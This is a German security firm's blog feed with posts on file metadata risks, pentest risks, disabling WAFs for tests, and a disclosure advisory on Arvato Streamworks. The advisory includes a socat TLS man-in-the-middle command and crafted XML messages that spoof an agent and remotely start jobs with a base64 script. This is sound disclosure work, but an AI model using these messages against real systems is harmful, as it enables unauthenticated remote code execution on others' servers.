secuvera GmbH – BSI-zertifizierter IT-Sicherheitsdienstleister BSI-Grundschutz und Penetrationstests https://www.secuvera.de Thu, 14 Mar 2019 12:58:42 +0000 de-DE hourly 1 https://wordpress.org/?v=5.1.1 Warum Metadaten eine Gefährdung darstellen können https://www.secuvera.de/blog/warum-metadaten-eine-gefaehrdung-darstellen-koennen/ Wed, 13 Mar 2019 15:42:52 +0000 https://www.secuvera.de/?p=3527 weiterlesen ...]]> In Daten sind allerhand mehr oder weniger versteckte Informationen enthalten, die für die falschen Leute eine wichtige Informationsquelle darstellen können. Oder aber Metadaten können ein weiteres Einfallstor für Angriffe einer IT-Anwendung sein. In diesem Beitrag beleuchte ich, warum es wichtig ist, sich dessen bewusst zu sein. Anlass dazu gaben mir zwei aktuelle beispiele:

  • ein Blog-Post eines Marktbegleiters, der Bilder mit unkenntlich gemachten Dokumenten veröffentlichte, die Bilder aber leider doch mehr preisgaben als sie eigentlich (meiner Meinung nach) sollten.
  • eine Schwachstelle im CMS WordPress (CVE-2019-8942)

Was sind Metadaten?

Ich mache es uns einfach und zitiere mal den Einführungssatz aus dem entsprechenden Wikipedia-Artikel, denn der fasst es kurz und knapp zusammen:

Metadaten oder Metainformationen sind strukturierte Daten, die Informationen über Merkmale anderer Daten enthalten

https://de.wikipedia.org/wiki/Metadaten

Es werden also Daten über andere Daten angelegt. Gibt es dann eigentlich auch Metadaten-Metadaten?! 🙂

Metadatenbeispiele

Metadaten gibt es in Zeiten von Big-Data beinahe überall: Ob mehr oder weniger versteckt in Musik (ID3-Tags in MP3-Dateien), Digitalbildern (EXIF-Formatierte Informationen) oder Dokumenten (Dokumenteigenschaften oder Benutzerdefinierte Eigenschaften) oder offensichtlich, wie z. B. die Signatur „Gesendet von meinem iPhone“ in E-Mails.

Greifen wir mal Digitalbilder aus den Beispielen heraus. Die im Exchangeable Image File Format (Exif) abgespeicherten Informationen beinhalten unter anderem Informationen, mit welcher Hardware bzw. welchen Einstellungen die Bilder aufgenommen werden. Darüber hinaus können dazu fähige Geräte aber auch den Aufnahmestandort bzw. dessen GPS-Koordinaten mit abspeichern.

Wie kann man die Daten auslesen?

Dazu benötigt man häufig keine Spezialwerkzeuge. Man kann z. B. bei einem Computersystem, das mit Microsofts Windows betrieben wird, die Dateieigenschaften und Exif-Daten einer Bilddatei im Windows Explorer anzeigen lassen:

Klick mit rechter Maustaste auf die Datei -> Eigenschaften -> Karteireiter "Details"
Unsere Vera
Eigenschaften der Datei

Wo liegt die Gefahr von Metadaten?

Nutzer wissen das oftmals nicht, dass mit den eigentlich gespeicherten Informationen noch weitere Informationen abgespeichert werden. Neben vergleichsweise simplen Daten wie z. B. das Speicherdatum werden in Dateien oft noch weitaus mehr Informationen abgespeichert bzw. erhoben.

Oft werden solche Metadaten dann zum Verhängnis, wenn z. B. ein Pentester die Metadaten von Bildern der Blogeinträge bei Marktbegleitern ausliest und darin GPS-Koordinaten des zensierten Fundorts findet und vertraulich meldet 🙂 jemand Doxing betreibt und somit diese ungewollt veröffentlichten (Meta-)Daten auswertet und die Auswertung dann wiederum veröffentlicht.

Im Beispiel des harmlosen Vera-Bildes von oben wurde z. B. mit abgespeichert, dass ich das Bild mit dem Programm „Pain(t).net“ erstellt habe. Daraus kann man schließen, dass ich das auf einem System installiert habe oder hatte. Das allein erachte ich als weniger kritisch. Für einen Angreifer gibt es jedoch Aufschluss darüber, welche Software ich verwende. Das ansich stellt noch keine Gefahr dar. Daher skizziere ich mal ein etwas brisanteres Beispiel:

Ich laufe mit meinem Smartphone umher und mache ein Bild von einigen umherstehenden stapeln Altpapier. Von außen sichtbar nehme ich wahr, dass das wohl Dokumente mit personenbezogenen Daten sind, z. B. die Steuererklärung eines Ehepaars.

Ich mache ein Bild davon, mache die entsprechenen Bildpassagen mit den personenbezogenen Daten unkenntlich („verpixeln“) und lade das Bild in sozialen Medien/meinen Blog/<anderer Internetpranger hier einfügen> hoch, um mich darüber zu echauffieren, dass jemand seine Daten einfach so auf die Straße „wirft“. Schließlich will ich ja dafür sensibilisieren, dass man das nicht tun sollte.

Ich mag die Person, die das getan hat, nicht angreifen, daher mach ich die Passagen mit erkennbaren Daten die den Rückschluss erlauben, unkenntlich. Was kann da schon schief gehen? 🙂

Anmerkung des Autors: das Beispiel spiegelt nicht die favorisierte Art und Weise der Sensibilisierung im Umgang mit schützenswerten Daten dar 🙂

Was viele dabei vergessen: Das Smartphone hat einen eingebauten GPS-, GLONASS- oder Galileo-Chip und es ist standardmäßig oft so eingestellt, dass der Standort zu jedem Bild gespeichert wird. Diese Informationen werden beim „verpixeln“ oft aber leider nicht „wegzensiert“. Also könnte jeder mit Zugriff auf das Bild auch herausfinden, wo der Altpapierstapel gelegen hat und Rückschlüsse auf den Wohnort der nachlässig mit seinen Daten umgehenden Person herausfinden. Unschön.

Und warum können Metadaten eine Gefahr für IT-Systeme sein?

Metadaten sind auch „nur“ Daten und jede Art von Daten, die durch ein IT-System verarbeitet werden, können gut- oder bösartig sein. Wenn z. B. eine Webanwendung Metadaten von Bildern verarbeitet, dann müssen auch die Metadaten validiert werden.

Ein halbwegs aktuelles Beispiel aus Februar 2019: CVE-2019-8942 – Remote Code Execution in WordPress 4.9.9 and 5.x before 5.0.1

Grob zusammengefasst können durch einen authentisierten Nutzer (Redakteur) einer mit dem CMS betriebenen seite über die Upload-Funktionalität Bilder hochgeladen werden. Ist in den Exif Infos PHP-(Schad)Code enthalten, kann das dazu führen, dass dieser zur Ausführung kommt.

Die Folgen davon sind von unterschiedlichen Faktoren abhängig und reichen von Kompromittierung der Webseite (Website Defacement) bis hin zur übernahme des Webserverdienstes oder des Gesamtsystems. Auch unschön.

Was kann man gegen Metadaten tun?

Das kommt auf den einzelnen Fall an. Es gibt z. B. Werkzeuge, die Metadaten aus Dateien entfernen. Viele Programme erlauben aber auch beim Abspeichern von Dateien, solche Metadaten zu entfernen.

Weil viele Wege nach Rom führen, wird hier nicht genauer auf die Technik für jeden einzelnen Dateitypus eingegangen. Es gibt jedoch, wie im Beispiel von oben zu sehen, Bordmittel des Betriebssystems, um Informationen zu entfernen. Ich hab das mal angewandt:

Dialog zum Entfernen der Daten
Kopie der Datei nach dem Entfernen
Dateieigenschaften nach dem Entfernen

Das geht übrigens nicht nur bei Bilddateien, sondern z. B. auch bei Microsoft Word Dateien. Da sollte man jedoch noch weiter gehen und vorher schon das Dokument im „Speichern“-Dialog von Metainformationen im Dokument selbst befreien:

Microsoft Word Dokument auf Metadaten Prüfen
Metadaten im Dokument entfernen

Im Falle von IT-Systemen sollte man die Metadaten generell wie Daten behandeln und beim Übertritt der Vertrauensgrenze validieren oder besser entfernen.

Aus den vielen genannten Gründen entfernen die großen sozialen Netzwerke übrigens nach dem Upload die Metadaten aus Bildern. Das heißt jedoch nicht, dass diese nicht trotzdem intern ausgewertet und abgespeichert werden. Ganz im Gegenteil. Als Nutzer in der Aufstellung nach dem Download der eigenen Daten kann man diese Daten einsehen. Es wird im Übrigen in der Datenschutzrichtlinie z. B. von Facebook explizit von der Sammlung von Metadaten gesprochen oh wunder.

Nicht nur daher, sondern generell sollte man lieber auf Nummer sicher gehen und diese Informationen selbst entfernen.

Der IT-Grundschutz des BSI hat hierzu übrigens auch eigens eine Maßnahme mit dem kurzen und prägnanten *hust* Titel M 4.64 „Verifizieren der zu übertragenden Daten vor Weitergabe / Beseitigung von Restinformationen“ bzw. im neuen Grundschutz-Kompendium unter „CON6 Löschen und Vernichten von Daten“ die Standardanforderung „CON.6.A7 Beseitigung von Restinformationen“

Fazit

Metadaten können mehr anrichten, als einem lieb sein kann. Entweder verraten sie ungewollt Informationen oder richten sie Schaden in IT-Systemen bei der Verarbeitung an.

Daher sollte man dies immer bei der Informationsweitergabe und bei der Informationsverarbeitung berücksichtigen und im Idealfall die erstellung von Metadaten verhindern (soweit möglich) oder Metadaten (ebenfalls soweit möglich) vor der Weitergabe entfernen.

]]>
Penetrationstest ohne Betriebsrisiko?! https://www.secuvera.de/blog/penetrationstest-ohne-betriebsrisiko/ Tue, 26 Feb 2019 16:16:46 +0000 https://www.secuvera.de/?p=3520 weiterlesen ...]]> Dass ein Pentest neben vielen Chancen auch Risiken mit sich bringt, muss einem Kunden im Rahmen einer Risikoaufklärung bewusst gemacht werden. Erst letztens wurde im Rahmen der Risikoaufklärung innerhalb einer Auftaktbesprechung die Frage gestellt

Der Penetrationstest ist doch dazu da, um Risiken aufzuzeigen – nicht um den Betrieb zu stören. Wie bekommen wir dieses Risiko denn ausgeschlossen?

Ein Kunde

In diesem Beitrag werden durch ein fiktives Kundengespräch zum Thema „Chancen und Risiken von Penetrationstests“ die Thematik und der Umgang damit näher erläutert.

Welche Risiken bringt denn ein Pentest mit sich?

Ein Kunde

Im Rahmen von Pentests werden Angriffe simuliert. Die größten Risiken eines Pentests sind die Einschränkung der Verfügbarkeit durch

  • Ausfall des geprüften Dienstes / der geprüften Anwendung,
  • Ausfall des Gesamtsystems oder
  • Ausfall vor- oder nachgelagerter Systeme/Dienste/Anwendungen.

Die Usachen für Verfügbarkeitseinschränkungen können mannigfaltig sein. Um den Teufel mal an die Wand zu malen:

  • Überlastung, z. B. durch rechenintensive Anfragen innerhalb der geprüften Anwendung oder eine entsprechend hohe Grundlast des Systems
  • Datenverlust, z. B. durch fehler in Datenbankabfragen

Dadurch wird jedoch aus Pentester-Sicht (und sicher auch aus Kundensicht) nicht viel gewonnen. Ein Penetrationstest sollte aus unserer Sicht nie bewusst das Ziel verfolgen, die Verfügbarkeit einzuschränken, sondern viel mehr Schwachstellen aufdecken, die auf die Vertraulichkeit oder Integrität von Daten oder deren Verarbeitung Einfluss nehmen können. Daher führen wir standardmäßig keine Prüfungen durch, die Bewusst die Verfügbarkeit einschränken. Das allein schließt aber ein gewisses Restrisiko nicht aus.

Gibt es noch andere Risiken als den Ausfall des Systems?

Ein Kunde

Ja, die gibt es. Die lassen sich am Besten anhand eines Beispiels näher erläutern lassen.

Nehmen wir an, es soll ein Webshop, sowie die Plattform auf Sicherheit überprüft werden. Webshops haben viele Funktionen, darunter

  • Nutzerkonten
  • Wunschlisten
  • Produktinformationsseiten
  • der Warenkorb
  • Kontaktformulare
  • Bewertungsfunktionen

Wenn der Geschäftsprozess von der reinen Produktinformation über Rückfragen via Kontaktformular bis hin zur Bezahlung geprüft werden soll, müssen folglich auch Kontaktanfragen gestellt oder Bestellungen durchgeführt werden.

Falls z. B. Scanwerkzeuge ein Kontaktformular prüfen und es dabei mehrere hundert mal absenden, wird das mit der Beantwortung betraute Support-Personal Luftsprünge vor Freude machen, weil auf einmal so viele Kontaktanfragen von vermeintlichen Interessenten auf sie einprasseln.

Um den Bezahlprozess zu prüfen, müssen Bestellungen getätigt werden. Werden diese z. B. auf Rechnung getätigt, besteht das Risiko, dass
der Paketlieferdienst mit einem LKW anrücken muss die Bestellung fakturiert wird und die Buchhaltung mehrere Mahnungen für nicht gezahlte Bestellrechnungen verfassen und versenden muss.

In Summe besteht also die Gefahr, dass der Penetrationstest sich auf die mit dem IT-System abgebildeten Geschäftsprozesse auswirkt und mitunter nicht zu unterschätzende Kosten und Aufwände verursachen kann.

Lassen sich die Risiken vermeiden?

Ein Kunde

Kurze Antwort: Jein.

Lange Antwort: Ja, wenn man die Vorgehensweise bzw. angewandte Methodik ändert oder den Prüfgegenstand austauscht.

…Prüfgegenstand austauschen?

Ein Kunde

Ja, richtig gelesen. Eine Operation am offenen Herzen macht kein Entwickler/Systembetreuer gerne – auch der Pentester nicht. Daher haben viele Kunden für viele Anwendungen neben dem eigentlichen, produktiv genutzten IT-System sowohl ein Entwicklungs- als auch ein Test- oder Abnahmesystem. Warum also auf dem Produktivsystem prüfen, wenn es auch auf den anderen, weniger kritischen (aus Verfügbarkeitssicht) Systemen geht?

Wären da nicht die Einschränkungen der nicht-prduktiven Systeme. Viele Test- oder Abnahmesysteme unterscheiden sich entgegen der eigentlichen Annahme meist durch unterschiedliche Konfigurationen oder Ressourcen.

Reflektiert auf das Beispiel von oben gibt es oftmals bei Test- oder Abnahmesystemen keine (Test-)Anbindung an Bezahlanbieter oder das Kontaktformular wird erst gar nicht per Mail versandt. Dies stellt dann eine Testeinschränkung dar und sollte entsprechend im Ergebnis berücksichtigt werden.

Und was kann man an der Methodik verändern?

Ein Kunde

Wir stützen uns bei unseren Prüfungen auf bewährte Methoden, wie z. B. dem „Durchführungskonzept für Penetrationstests“ des Bundesamts für Sicherheit in der Informationstechnik. Man kann die Agressivität von Prüfungen bestimmen. Unterschieden wird zwischen „passiv scannend“, „vorsichtig“, „abwägend“ und „aggresiv“.

Na also, dann lassen sie uns passiv scannend oder vorsichtig wählen!

Ein Kunde

Naja. „passiv scannend“ bedeutet

„Bei der niedrigsten Aggressivitätsstufe werden die Testobjekte nur passiv untersucht, d. h. gefundene mögliche Schwachstellen werden nicht ausgenutzt.“

Durchführungskonzept für Penetrationstests

Das Problem dabei: um Festzustellen, ob eine Schwachstelle vorhanden ist, muss ein Penetrationstester versuchen, die Schwäche auszunutzen. Folglich würde passiv zu sein bedeuten, dass keine Versuche zum Ausnutzen einer evtl. vorhandnen Schwäche unternommen werden.

Ja gut, dann nehmen Sie halt „vorsichtig“!

Ein Kunde

Ja, das sind wir immer. Aber nach der Definition darf ich dann nur rudimentäre Prüfungen durchführen wie z. B. das Abprüfen von Standardkennworten. Das geht leider nicht tief genug und es sollte mindestens „abwägend“ gewählt werden.

Ja gut, was aber, wenn dann was passiert?!

Ein Kunde

Dann haben wir noch eine Karte: Sie wissen bei einem Penetrationstest, wer Sie angreift, kennen seine Telefonnummer und können – entgegen einem echten Angriff – einen Testabbruch veranlassen.

Zwar können Prüfungen dann nicht immer an der Stelle fortgesetzt werden, an dem die Prüfungen unter- oder abgebrochen wurden, aber zumindest können betriebliche Probleme in den Griff gebracht werden oder der „Störfaktor Penetrationstester“ zunächst aus der Gleichung genommen werden.

Ja gut, dann passen wir die Gleichung weiter an und nehmen wir einfach <Name beliebiger Funktion / eines Systems> aus dem Prüfungen aus

Ein Kunde

Das kann man tun. Ratsam ist es jedoch nicht, denn wird der Ergebnisgehalt des Pentests um genau die Fragestellung „Was wäre, wenn Funktion XY / Gegenstand XY angegriffen wird?“ reduziert.

Fazit

Man führt einen Penetrationstest durch, um Schwachstellen zu identifizieren, bevor sie jemand anderes/fremdes identifizieren könnte.

Obwohl meist eine Vorgehensweise gewählt wird, bei der bewusst auf verfügbarkeitseinschränkende Prüfungen verzichtet wird, können dennoch Probleme auftreten. Diese können sich dabei mitunter auf den Prüfgegenstand selbst oder vor- bzw. nachgelagerte Systeme / Prozesse auswirken.

Die genannten Auswirkungen (Ausfall oder Beeinflussung der mit dem Prüfgegenstand abgebildeten Prozesse) lassen sich nicht gänzlich vermeiden, sondern lediglich mit entsprechenden Maßnahmen (Wahl der Vorgehensweise, Austausch des Prüfgegenstand (Produktiv- vs. Abnahmesystem) oder geklärte Meldewege) weitestgehend minimieren.

Ohne einen Angriff zu simulieren wird man nie in Erfahrung bringen, wie sich ein Prüfgegenstand verhält, wenn ein Angriff durchgeführt wird.

Schließlich ist ein Vorteil bei einem Penetrationstest gegenüber einem realen Angriff neben der Tatsache, dass gefundene Schwachstellen identifiziert werden, dass man weis wer den Untersuchungsgegenstand penetriert und an wen man sich im Fall der Fälle wenden kann, um Prüfungen zu unterbrechen und weitere Beeinträchtigungen vorerst auszuschließen.

]]>
Warum sollte man Sicherheitsvorkehrungen für einen Pentest deaktvieren?!? https://www.secuvera.de/blog/warum-sollte-man-sicherheitsvorkehrungen-fuer-einen-pentest-deaktvieren/ Wed, 20 Feb 2019 16:02:37 +0000 https://www.secuvera.de/?p=3505 weiterlesen ...]]> Diese Frage stellte mir ein Interessent (m/w/d) neben vielen weiteren bei einem Vorgespräch zum Thema Penetrationstests. Was gemeint ist und wieso er die Frage gestellt hat, wird in diesem Beitrag näher beleuchtet.

Buzzword-Bingo

Viele Interessenten und Kunden setzen verschiedenste Technologien ein, um IT-Systeme / -Anwendungen vor den unterschiedlichsten drohenden Gefahren ausgehend von intern oder extern zu schützen bzw. die verbundenen Risiken weitestgehend zu minimieren. Die Rede ist von Einbruchserkennung / Intrusion Detection, Einbruchsverhinderung / Intrusion Prevention, Application Layer Gateway oder Web Application Firewall (WAF), Anti-Automatisierung und weiteren Buzzwords. Letztlich sind es oftmals nur Synonyme für verschwendetes Geld, aber das führt nun zu weit und gibt nur eine singuläre Meinung wieder.

Anmerkung des Autors: Bitte zutreffendes Buzzword merken, es wird im Verlauf dieses Beitrags noch benötigt. Falls keines zutreffend: nicht schlimm. 🙂

Was macht so ein Ding?

Kurz und knackig: Angriffe erkennen und melden so gut es geht versuchen zu verhindern.

Diese Mechanismen machen aber auch einem Penetrationstester das Arbeiten schwerer, denn schließlich werden im Rahmen von Penetrationstests ja Angriffe simuliert. Folglich wirft man mit solchen Mechanismen dem Pentester sprichwörtlich kurz nach dem Loslaufen gewollt einen Knüppel zwischen die Beine, sodass dieser zu Fall kommt. Aber so wird man nie erfahren, welche Schwachstellen er hätte aufzeigen können, wenn er in Fahrt gekommen wäre.

Es wird durch das Schützen der Anwendung auch mehr oder weniger erfolgreich verhindert, dass Schwächen (und damit verbundene Risiken) am Prüfgegenstand identifiziert werden können. Denn im Normalfall werden (schadhafte) Anfragen des Pentesters an den Prüfgegenstand verworfen, im schlimmsten Fall wird der Pentester bzw. dessen Ursprungsadresse (temporär oder permanent) ausgesperrt.

Wieso stellt man die Frage überhaupt?

Um ein Preisschild an den Penetrationstest zu heften sollte man wissen, welcher Aufwand nötig ist, um eine ausreichende Testtiefe zu erreichen. Also sollte man alle einflussnehmenden Faktoren kennen.

Um solche Mechanismen in Prüfungen zu umgehen bzw. „unter dem Radar“ zu bleiben, muss ein Penetrationstester beispielsweise Prüfungen verlangsamen oder Umgehungstaktiken anwenden. Oftmals bedeutet es auch, Prüfungen gänzlich ohne (automatische) Werkzeuge durchzuführen. Daraus kann ein ein erhöhter Aufwand zur Erreichung einer ausreichenden Testtiefe folgen. Oder man kratzt nur an der Oberfläche und gelangt erst gar nicht in die Tiefe.

Mo Money Mo Problems Mo Aufwand Mo Kosten!


The Notorious B.I.G.,  unbekannt

Es geht aber auch effizienter.

Aber das ist eine Sicherheitsfunktion und Sie machen doch einen Sicherheitstest!1!11!!EinsElf

Ganz recht, beides Mal ist das Adjektiv „sicher“ im Wort enthalten. Und wo sicher drauf steht, sollte auch sicher drin sein. Das ist es ja, was man mit einem Pentest versucht so effizient es eben geht „sicher zu stellen“ 🙂

Es macht daher aus Effizienzgründen durchaus Sinn, erst mal <Buzzword hier bitte einfügen> selektiv für den Prüfer zu deaktvieren. Denn dann muss man nicht erst Aufwand in die Umgehung investieren.

Und wie weiter oben erwähnt machen die Sicherheitsmechanismen so gut sie es eben können. Was aber, wenn <Buzzword hier bitte einfügen> gar nichts kann außer Energie und Geldressourcen zu verschwenden nicht (richtig) funktioniert – egal ob durch Ausfall, Fehlfunktion oder gar (bewusst oder unbewusste) Fehlkonfiguration?

You’ll never know until you try!

Es ergibt daher aus unserer Sicht viel mehr Sinn, ohne diese „Störfaktoren“ zu prüfen wo das Risiko entsteht: am Prüfgegenstand selbst – ohne Holzknüppel oder Fangnetz oder ….

Ich mag aber, dass man meine Sicherheitsmechanismen mit prüft!

Ja. Alles zu seiner Zeit 🙂

Wenn Schwächen ohne <Buzzword hier bitte einfügen> festgestellt wurden, dann kann man auf Wunsch (als Abschluss der Kür) die Wirksamkeit von<Buzzword hier bitte einfügen> abprüfen, indem man die Ausnahme für den Prüfer nach dessen Meldung wieder entfernt. Danach werden die zum Ausnutzen notwendigen Schritte erneut in vergleichsweise kurzer Zeit (weniger, als für das Umgehen wärend des gesamten Tests nötig wäre) durchgeführt und die Risikobewertung ergänzt. Man erhält also eine Aussage zu beiden Zuständen: <Buzzword hier bitte einfügen> aktiv oder wirkungslos.

Sie haben Ihr Ziel effizient erreicht!

Fazit

Aktive Sicherheitsmechanismen, die Angriffe erkennen und abwehren sollen, machen einen Pentest ineffizient, können die Testtiefe verringern und erlauben nur eine Testaussage über die Gesamtumgebung bestehend aus Prüfgegenstand und (vorgelagerter) Sicherheitsinfrastruktur.

Durch selektive Deaktivierung zur Schwachstellenidentifikation und späterer selektiver Nachprüfung können zwei Fliegen mit einer Klappe erlegt werden: es werden effizienter Schwächen am Prüfgegenstand festgestellt und die Wirksamkeit von Sicherheitsmechansimen kann dennoch mit vergleichsweise geringem Mehraufwand mit überprüft werden.

Seien sie daher nicht verwundert, wenn man Ihnen solch eine Frage stellt. Wir als Schwaben möchten Ihnen helfen Ihr Geld zu sparen. 🙂

]]>
secuvera-SA-2016-01: Mehrere Authentisierungsschwachstellen in Arvato Systems Streamworks https://www.secuvera.de/blog/secuvera-sa-2016-01-mehrere-authentisierungsschwachstellen-in-arvato-systems-streamworks/ Tue, 15 Jan 2019 13:23:21 +0000 https://www.secuvera.de/?p=3410 weiterlesen ...]]> …oder: Die Anfänge von „Rise of the Machines“

Im Mai des Jahres 2016 (!) durfte ich bei einem unserer Kunden eine Lösung zur Automatisierung von Prozessabläufen über Systemgrenzen hinweg im Rahmen eines Penetrationstests prüfen. Dort sind mir dann mehrere Schwachstellen (siehe Advisory) aufgefallen, mit denen ich schlussendlich in die gesteuerten Systemabläufe eingreifen und eigenen Code ausführen konnte. Das war die Initialzündung für die Forschung nach Schwachstellen in Maschine-zu-Maschine-Kommunikation im Rahmen unserer Labdays. Die Fragestellung war „was ist, wenn eine Maschine die Stimme erhebt und andere Maschinen unter seine Kontrolle bringt“ – Titel „Rise of the Machines“ (und nein, es wurde nicht zu viel Terminator 3 in der Vergangenheit gesehen 😉 )

Der Kunde hat mir dankenswerterweise erlaubt die Schwächen mittels Responsible Disclosure an den Hersteller zu melden. Aufgrund unserer Responsible Disclosure Policy und der Schwierigkeit, die gefundenen Schwächen zu beseitigen, hat es jedoch ein paar Monate Jahre gedauert, bis ich diese Schwächen veröffentlichen konnte. Daher gab es zwischenzeitlich schon andere Veröffentlichungen auf das Thema bezogen.

Stream…was?!

Die untersuchte Lösung „Streamworks“ aus dem Hause Arvato Systems besteht aus einer Steuerungskomponente mit Anwendung zur Verwaltung (nennen wir es „Mutterschiff“) und einem Sklaven Agenten, der auf einem Arbeitsknecht Server installiert wird. Zwischen den Komponenten wird TLS gesprochen und seinerzeit zur beiderseitigen Authentisierung ein vom Hersteller ausgestelltes X.509-Zertifikat zur Authentisierung verwendet. Das Zertifikat wurde vom Hersteller ausgestellt, weil es gleichzeitig die Softwarelizenz darstellte.

Schlechtes Zertifikatsmanegement als Einstieg

Ich habe die Systeme (Mutterschiff und einen Testagenten) abgetastet und auf dem Mutterschiff eine Netzwerkfreigabe mit namen „unattendedAgentInstallation“ identifiziert. Leider hat man der Sicherheitseinstellung dieses Shares keinerlei Aufmerksamkeit geschenkt, denn: diese war für alle Domänenbenutzer lesend im Zugriff. Da für ein anderes Prüfgebiet eine Domänenbenutzerkennung übergeben wurde, konnte ich auf die Freigabe zugreifen werden. Über die Netzwerkfreigabe wurden

  • das Kundenindividuelle Zertifikat des Herstellers nebst privatem Schlüssel und
  • die Installationsdateien für Agent und Server
  • Handbücher

bereitgestellt. Siehe nachfolgendes Bild:

Screenshot der Dateifreigabe

Nicht falsch verstehen, das ist kein Problem des Herstellers, sondern wohl ein Flüchtigkeitsfehler beim Kunden, der die Freigabe erstellt hat.

Es stellte sich bei genauerer Betrachtung heraus, dass der private Schlüssel nicht extra kryptografisch gesichert war. Daher und weil er auf einem lesbaren Share für viele Netzwerkteilnehmer lesbar abgelegt ist, kann dieser also (spätestens jetzt) als kompromittiert angesehen werden. Diesen Faux-Pas muss sich der Kunde selbst zugestehen.

Der BSI Grundschutz, so störrisch dieser manchmal auch sein mag, gibt da ein zwei Tipps wie man es besser gemacht hätte. Aber nun ist das Kind eben in den Brunnen gefallen.

Die Krux an der Sache: Wenn alle Agenten aufgrund der Lizensierung (entnommen aus dem Handbuch) dasselbe Schlüsselmaterial verwenden, dann:

  • Muss der Kunde jetzt beim Hersteller ein neues Zertifikat beantragen und das dann
  • auf ALLEN Agenten (~100) und dem Mutterschiff mit der Hand am Arm austauschen.

Das riecht nach Arbeit für den Kunden und den Hersteller. Und nach meiner ersten gefundenen Schwäche für beide. Doch da geht bestimmt noch mehr.

Der böse Mann in der Mitte

Mit dem Schlüsselmaterial und etwas Arpspoofing konnte ich mich also schnell als Man-in-the-Middle zwischen einem Test-Agenten und dem Mutterschiff positionieren. Die Kommunikation wurde dabei bidirektional über einen lokalen Port umgeleitet. Ohne Schlüsselmaterial rochen beide Kommunikationspartner sofort den Braten. Schlimm genug, dass Man-in-the-Middle ging. Fairerweise muss man aber sagen, dass der Hersteller wenig dafür kann, denn das ist ein Thema des Netzwerks.

Testaufbau: Man-in-the-Middle

Beim Analysieren der Kommunikation erwies sich neben „Wireshark“ auch das Werkzeug „socat“ als sehr nützlich, um einfach mal den Traffic aufzubrechen und den Inhalt mitzuschneiden. Das Werkzeug macht nichts anderes, als Streams mit einander zu verbinden. Das können auch zwei SSL/TLS-Verbindungen sein.

# Lausche auf einem Port mit OpenSSL und stelle eine OpenSSL-Verbindung zum Ziel her, wenn eine Verbindung zu diesem Port hergestellt wurde und leite alle Ausgaben in eine temporäre Datei um
socat -v OPENSSL-LISTEN:localhost:<PORTNUMMER>,cipher=HIGH,method=<SSL23|TLS1|TLS1.1|TLS1.2>,certificate=<pfadZumZert>,key=<pfadZumKey>,verify=0 OPENSSL:<zieladresse>:<zielport>,reuseaddr,fork,method=<SSL2|SSL3|TLS1|TLS1.1|TLS1.2>,cipher=HIGH,verify=0[,certificate=<pfadZumAuthZert>,key=<pfadZumAuthKey>] 2> /tmp/Trafficlog.log

Siehe da, die Kommunikation funktioniert (in beide Richtungen) weiterhin und es werden Nachrichten protokolliert.

Ich bin drin

…im Kommunikationskanal. Also mal das gesprochene Protokoll analysieren. Zum Glück wird menschenlesbares XML gesprochen, sodass die Analyse der Nachrichten vergleichsweise leicht fällt. Jobs anlegen, Credentials übergeben, Jobs ausführen, Status abfragen, Protokolle senden – eigentlich ganz einfach.

Falsche Nachricht an das Mutterschiff

Wie steht es denn um die Prozesslogik im Mutterschiff? Werden Nachrichten validiert und auf Echtheit geprüft?

Also mal folgende Nachricht vom Agent an das Mutterschiff im Auftrag eines legitimen Clients gesendet – ohne Spoofing und ohne Mann in der Mitte zu sein

(Daten in den eckigen Klammern durch valide Werte ersetzen!)

<AgentNotifyStarted ProcessId="7044" AgentVersion="3.1.36"> 
<ComHeader Version="1.0">
<MandatorCode>0100</MandatorCode>
<MsgCreateTime>[YYYY]-[MM]-[DD]T[HH]:[MM]:[SS].745Z</MsgCreateTime>
<MsgSendTime>[YYYY]-[MM]-[DD]T[HH]:[MM]:[SS].963Z</MsgSendTime>
<SourceEndpoint Address="0.0.0.0" Port="30000" SysId="[Hostname of legitimate Client]" />
<DestinationEndpoint Address="[FQDN of Processing server]" Port="9600" SysId="[FQDN of Processing server]" />
<Sequence>0</Sequence>
</ComHeader>
<SystemInformation>
<OsType>Windows</OsType>
<OsInfo>Pentest Windows!</OsInfo>
<OsLocale>de_DE.windows-1252</OsLocale>
</SystemInformation>
<KnownJobsList> </KnownJobsList>
<FileTransferOptions Mode="ALL" BlockSize="0" />
<Cli CliOptions="Enabled" />
</AgentNotifyStarted>

Beim Admin nachgefragt und folgenden Screenshot bekommen

Ergebnis in der Steuerung

Problem 2: Das Mutterschiff prüft nicht, ob die Nachricht wirklich vom Agenten kommt.

Let’s do some (bad) work

Also schauen wir mal, ob der Agent auch Befehle von einem anderen Agent / Fake-Mutterschiff entgegenen nimmt. Mit der folgenden Nachricht an Port 30000 des Zielsystems wird das Programm „Notepad.exe“ gestartet.

<ServerRequestStartJob>
<ComHeader Version="0.1">
<MandatorCode>0100</MandatorCode>
<MsgCreateTime>[YYYY]-[MM]-[DD]T[HH]:[MM]:[SS].1061367Z</MsgCreateTime>
<MsgSendTime>[YYYY]-[MM]-[DD]T[HH]:[MM]:[SS].1061367Z</MsgSendTime>
<SourceEndpoint Address="[FQDN of processing server]" Port="9600" SysId="[FQDN of processing server]" />
<DestinationEndpoint Address="[IP of Server with agent installed]" Port="30000" SysId="[Hostname of server with agent installed]" />
<Sequence>1</Sequence>
<MandatorId>0100</MandatorId>
</ComHeader>
<JobStartInfo>
<JobInfo ServerJobId="118291965_1" ExecutionNo="1" PlanDate="[YYYY]-[MM]-[DD]" StreamName="[NewStreamName]" JobName="[NewJobName]" Run="1" />
<UserName>[Username under which the agent should run the Script, e.g. LOCAL\System]</UserName>
<Password>[Add Password of the user if needed]</Password>
<UseUserProfile>true</UseUserProfile>
<MainScript>[base64-encoded Script code, e.g. "cmVtDQpDOlxXaW5kb3dzXE5vdGVwYWQuZXhl" to start a notepad.exe on a Windows Host]</MainScript>
<KeepJoblogDays>10</KeepJoblogDays>
</JobStartInfo>
</ServerRequestStartJob>

Ich hab das nicht als Lokal\System Benutzer gemacht, sondern habe einen Domänen-Jobbenutzer des Kunden verwendet. Siehe Da:

Taskmanager auf Testagenten

Es wird also nicht verifiziert, ob der Befehl wirklich vom Mutterschiff kommt –> Problem 3

Da blutet mir das Herz…

… wenn ich Dienste mit verwundbaren Komponenten im Einsatz sehe. Nicht ohne Grund ist der Einsatz von verwundbarer Software(-Komponenten) bereits seit 2013 und auch in 2017 (beidesmal als A9) in den 10 häufigsten Risiken von Webanwendungen des Open Web Application Security Project (OWASP Top 10) vertreten.

